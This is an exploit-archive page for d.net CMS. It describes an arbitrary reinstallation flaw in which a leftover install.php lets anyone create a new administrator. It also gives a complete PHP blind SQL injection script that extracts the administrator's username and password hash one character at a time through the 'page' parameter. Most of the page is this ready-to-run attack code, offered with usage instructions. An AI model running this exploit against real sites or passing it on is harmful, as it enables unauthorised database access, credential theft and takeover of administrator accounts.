[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : d.net CMS Arbitrary Reinstall/Blind SQL Injection Exploit
# Published : 2009-07-11
# Author : darkjoker
# Previous Title : Joomla Component com_category (catid) SQL Injection Vulnerability
# Next Title : phpBMS 0.96 Multiple Remote Vulnerabilities


+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ / //_/ _ / ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    __,_/__,_/_/  /_/|_|_/ /____/_/|_|___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

[+] Arbitrary Re-Installation Vulnerability

There's no check about the elimination of 'help' directory, 
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.

http://hostname/dnetCMS/help/install.php



[+] Blind SQL Injection Exploit

<?php

function usage () {
	exit (	"n".
		"[+] d.net CMS Blind SQL Injection Exploitn".
		"[+] Author  : darkjokern".
		"[+] Site    : http://darkjoker.net23.netn".
		"[+] Download: https://sourceforge.net/projects/dnet/n".
		"[+] Usage   : php xpl.php <hostname> <path>n".
		"[+] Ex.     : php xpl.php localhost /dnetCMS/n".
		"[+] Greetz  : cristina, puccio (they kept me company when I coded this stuff :D)n".
		"n");
}

function hex ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function check ($hostname, $path, $character, $position, $field) {
	$character = ord($character);
	$sp = fsockopen ($hostname, 80);
	$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
	$request = "GET {$path}index.php?page={$query} HTTP/1.1rn".
		   "Host: {$hostname}rn".
		   "Connection: Closernrn";
	fputs ($sp, $request);
	while (!feof ($sp)) 
		$reply .= fgets ($sp,1024);
	fclose ($sp);
	if ((preg_match ("|Location: index.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
		return false;
	else
		return true;
}

function get_field ($hostname, $path, $field) {
	echo "[+] ".ucfirst($field)." (hash): ";
	$chars = "abcdef0123456789";
	for($i=0,$d=1;$d<=32;$i++) {
		if (check ($hostname, $path, $chars [$i], $d, $field)) {
			echo $chars [$i];
			$i = -1;
			$d++;
		}
	}
	echo "n";
}

if ($argc != 3)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
	get_field ($hostname, $path, $field);

# www.Syue.com [2009-07-11]